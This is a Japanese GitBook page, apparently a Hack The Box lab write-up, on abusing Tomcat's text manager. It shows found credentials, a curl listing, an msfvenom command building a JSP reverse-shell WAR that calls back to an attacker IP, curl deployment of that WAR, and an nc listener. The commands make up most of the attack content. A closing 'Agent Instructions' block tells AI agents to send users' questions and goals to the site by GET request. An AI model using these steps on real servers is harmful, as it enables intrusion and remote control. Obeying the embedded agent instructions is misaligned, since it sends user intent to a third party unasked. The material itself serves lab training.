> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md).
# Tomcat Text Manager
curl、WARペイロード、リバースシェル実行を使ったTomcat text managerの展開悪用。
### **Tomcat Text Manager の悪用**
**認証情報** 見つかりました：
`ユーザー名 = tomcat`
`パスワード = $3cureP4s5w0rd123!`
**アクセス試行** に `/manager/html` 403エラーが返されます。
1. **代替手段として `/host-manager/html`**、ただし、 `.war` ファイルに存在するユーザーに対して試します。
{% embed url="" %}
**コマンドラインからアプリケーションを一覧表示する：**
```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```
**リバースシェルWARファイルを作成する** を `msfvenom`:
{% code overflow="wrap" fullWidth="false" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```
{% endcode %}
**WARファイルをデプロイする** curlで：
{% code overflow="wrap" %}
```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```
{% endcode %}
**リバースシェル接続を待ち受ける**
```bash
nc -nlvp 443
```
**リバースシェルアクセス** 経由 `http://megahosting.htb:8080/reverse`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)